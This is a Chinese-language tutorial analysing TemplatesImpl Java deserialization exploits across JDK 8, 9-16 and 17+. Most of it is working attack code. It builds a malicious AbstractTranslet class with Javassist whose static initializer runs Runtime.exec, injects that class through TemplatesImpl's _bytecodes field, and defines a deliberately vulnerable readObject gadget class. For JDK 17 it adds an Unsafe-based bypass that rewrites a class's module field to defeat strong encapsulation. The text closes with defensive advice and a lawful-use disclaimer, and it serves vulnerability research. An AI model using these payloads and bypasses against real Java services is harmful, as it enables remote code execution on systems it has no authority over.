JDK 17 TemplatesImpl ByPass 原理分析
字数 2925 2025-09-23 19:27:38
JDK 各版本下 TemplatesImpl 反序列化漏洞利用与 JDK 17 Bypass 原理深度剖析
1. 核心概念与背景
- TemplatesImpl 类:位于
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,是 XSLT 转换功能的一部分。其_bytecodes字段可用于加载字节数组,并通过内部的defineClass()方法最终调用ClassLoader.defineClass(),从而执行任意字节码。 - 利用链关键点:反序列化漏洞利用链通常需要一个“sink”点(触发点)来调用
TemplatesImpl对象的newTransformer()或getOutputProperties()方法,后者会间接调用newTransformer(),从而触发恶意类的加载和初始化。 - JDK 模块化系统 (JPMS):从 JDK 9 开始引入,对内部 API 的访问进行了严格限制,这直接影响了传统利用
TemplatesImpl的方式。限制的严格程度随版本升级而加剧:- JDK 8:无模块化,可自由访问。
- JDK 9-16:宽松的强封装。编译时访问受限,但运行时通过反射(
setAccessible(true))仍可绕过。 - JDK 17+:强封装。默认情况下,即使使用反射,也无法访问未导出包中的类成员,除非使用特殊的 JVM 参数(
--add-opens)。
2. JDK 8 环境下的利用 (无限制)
2.1 本地调用案例
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;
public class MainJDK8 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = getTemplatesImpl();
templatesImpl.getOutputProperties(); // 触发点
}
public static byte[] getCalcBytes(String className) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass(className);
// 关键:恶意类必须继承 AbstractTranslet
ctClass.setSuperclass(pool.get("com.sun.org.apache.xal an.internal.xsltc.runtime.AbstractTranslet"));
// 将恶意代码放入类的静态初始化块(<clinit>)
ctClass.makeClassInitializer().setBody("{" +
"try { Runtime.getRuntime().exec(\"calc\"); } " +
"catch (Exception e) { throw new RuntimeException(e); }" +
"}");
return ctClass.toBytecode();
}
public static TemplatesImpl getTemplatesImpl() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
byte[][] evilBytes = new byte[][]{getCalcBytes("com.Evil")};
bytecodes.set(templates, evilBytes); // 注入恶意字节码
name.set(templates, ""); // 名称不能为null
tfactory.set(templates, new TransformerFactoryImpl()); // 必须设置 TransformerFactoryImpl
return templates;
}
}
关键点:
- 恶意字节码必须继承
AbstractTranslet,否则在定义类时会抛出ClassCastException。 - 通过反射设置
_bytecodes,_name,_tfactory字段。 - 调用
getOutputProperties()或newTransformer()来触发执行。
2.2 序列化利用案例
需要一个反序列化时能自动调用指定方法的“入口类”(gadget)。
// 漏洞入口类 (HoleBeanDemo.java)
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
public class HoleBeanDemo implements Serializable {
private static final long serialVersionUID = 1L;
public Object obj;
public String methodName;
private void readObject(java.io.ObjectInputStream in) throws Exception {
in.defaultReadObject();
// 反序列化时自动调用 obj.methodName()
obj.getClass().getDeclaredMethod(methodName).invoke(obj);
}
}
// 生成Payload并序列化
HoleBeanDemo hole = new HoleBeanDemo();
hole.obj = getTemplatesImpl(); // 来自上面的方法
hole.methodName = "getOutputProperties";
// 序列化 hole 对象到文件...
// 当该文件被反序列化时,漏洞触发。
3. JDK 9-16 环境下的利用 (宽松的强封装)
3.1 变化与挑战
编译器无法直接找到 TemplatesImpl 等类(因为它们位于未导出的 java.xml 模块中),直接 new TemplatesImpl() 会导致编译错误。
3.2 绕过方法:完全反射
放弃直接引用,全程使用反射来创建和操作对象。
public class MainJDK9 {
public static void main(String[] args) throws Exception {
Object templatesImpl = getTemplatesImpl();
// 使用反射调用 getOutputProperties
templatesImpl.getClass().getDeclaredMethod("getOutputProperties").invoke(templatesImpl);
}
public static Object getTemplatesImpl() throws Exception {
// 使用 Class.forName 加载类,这不受模块化限制
Class<?> templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object templates = templatesImplClass.getDeclaredConstructor().newInstance();
Class<?> tFactoryClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
Object tFactory = tFactoryClass.getDeclaredConstructor().newInstance();
// ... 剩余反射设置字段的代码与 JDK8 版本类似 ...
// bytecodes.set(templates, evilBytes);
// name.set(templates, "");
// tfactory.set(templates, tFactory); // 注意这里也改用反射创建的实例
return templates;
}
}
关键点:
Class.forName()不受影响:这是运行时动态加载,模块系统不会阻止。setAccessible(true)仍然有效:在宽松强封装下,反射依然可以打破私有性限制。- 序列化利用仍然有效,因为反序列化底层使用
ObjectInputStream和Unsafe来还原对象状态,不依赖于直接的代码访问,只依赖于类名是否存在。
4. JDK 17+ 环境下的利用与Bypass (强封装)
4.1 核心挑战
在 JDK 17 中,即使使用反射,setAccessible(true) 也无法成功。尝试调用该方法对来自未开放(--add-opens)模块的字段会抛出 InaccessibleObjectException。这直接废掉了之前的反射方法。
4.2 Bypass 原理:修改模块关联
原文中提到了一种深度技巧:利用 Unsafe 直接修改 Class 对象的 module 字段。
每个 Class 对象都有一个 Module 对象关联。模块系统的访问检查就是基于调用者类和被访问者类的模块关系。如果将被限制类的模块修改为更开放的模块(如 java.base 模块),就有可能绕过检查。
import sun.misc.Unsafe;
import java.lang.reflect.Field;
public class MainJDK17 {
public static void main(String[] args) throws Exception {
// 1. 在尝试访问TemplatesImpl之前,先修改当前类的模块
changeModuleForClass(MainJDK17.class);
// 2. 然后再进行JDK9那样的反射操作,此时setAccessible就可能成功
Object templatesImpl = getTemplatesImpl();
templatesImpl.getClass().getDeclaredMethod("getOutputProperties").invoke(templatesImpl);
}
public static Unsafe getUnsafe() throws Exception {
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
return (Unsafe) theUnsafe.get(null);
}
public static void changeModuleForClass(Class<?> clazz) throws Exception {
Unsafe unsafe = getUnsafe();
// 获取 Object.class 的模块(java.base 模块,非常开放)
Module targetModule = Object.class.getModule();
// 使用 Unsafe 直接修改 clazz 的 ‘module’ 字段
unsafe.putObject(
clazz,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),
targetModule
);
}
// getTemplatesImpl() 方法同 JDK9 版本
}
关键点:
Unsafe的威力:Unsafe提供类似 C 语言指针的操作,可以无视 Java 语言的所有访问控制规则,直接操作内存中的对象。- 修改模块关联:通过将当前主类的模块从“未命名模块”改为
java.base模块,欺骗模块系统,使其认为后续的反射操作是由java.base模块发起的,从而通过了模块访问检查。 - 执行流程:先改模块,再反射。一旦模块被修改,后续的
setAccessible和字段读写操作就不再受强封装的限制。
4.3 序列化利用的可行性
- 这种 Bypass 方法主要用于生成Payload的阶段(即攻击者构造恶意序列化数据的时候)。
- 如果目标反序列化流中存在一个可利用的“入口类”(如
HoleBeanDemo),并且该入口类在反序列化过程中能触发TemplatesImpl.getOutputProperties(),那么攻击依然有效。 - 原因:反序列化过程在目标服务端进行,它只是还原了攻击者构造好的
TemplatesImpl对象状态(_bytecodes等)。只要目标环境的 JDK 中存在TemplatesImpl类及其依赖类(这些类一直存在),defineClass()的底层机制就能正常工作,与如何生成这个对象无关。模块系统的限制作用于代码构建阶段,而非字节码加载执行阶段。
5. 总结与关键点回顾
| JDK 版本 | 核心限制 | 利用方法 | 关键技巧 |
|---|---|---|---|
| JDK 8 | 无 | 直接引用 + 反射 | 恶意类继承 AbstractTranslet |
| JDK 9-16 | 编译时限制 | 全程反射 | Class.forName() + setAccessible(true) |
| JDK 17+ | 运行时反射限制 | Unsafe修改模块 + 反射 | Unsafe.putObject 修改 Class.module 字段 |
- 万变不离其宗:无论JDK版本如何变化,
TemplatesImpl利用的核心原理始终是利用其_bytecodes和defineClass()机制加载恶意字节码。 - 模块化的影响:模块化系统增加的是代码构建和访问的难度,而不是改变底层字节码加载的可行性。
- 反射是桥梁:在更高版本的JDK中,反射是操作内部API的唯一桥梁,但桥梁本身也被加上了锁(强封装)。
- 终极武器 Unsafe:当所有合法路径都被封锁时,
Unsafe这类“后门”提供了直接操作内存的底层能力,是许多高级Bypass技术的基石。 - 防御视角:单纯升级JDK版本至17+并不能完全免疫此类攻击。关键在于应用程序本身不应反序列化不可信的流。应使用类似
ObjectInputFilter(JEP 290)的机制对反序列化数据进行严格的白名单过滤。
注:教学文档中提供的代码示例主要用于安全研究和理解漏洞原理,请勿用于非法用途。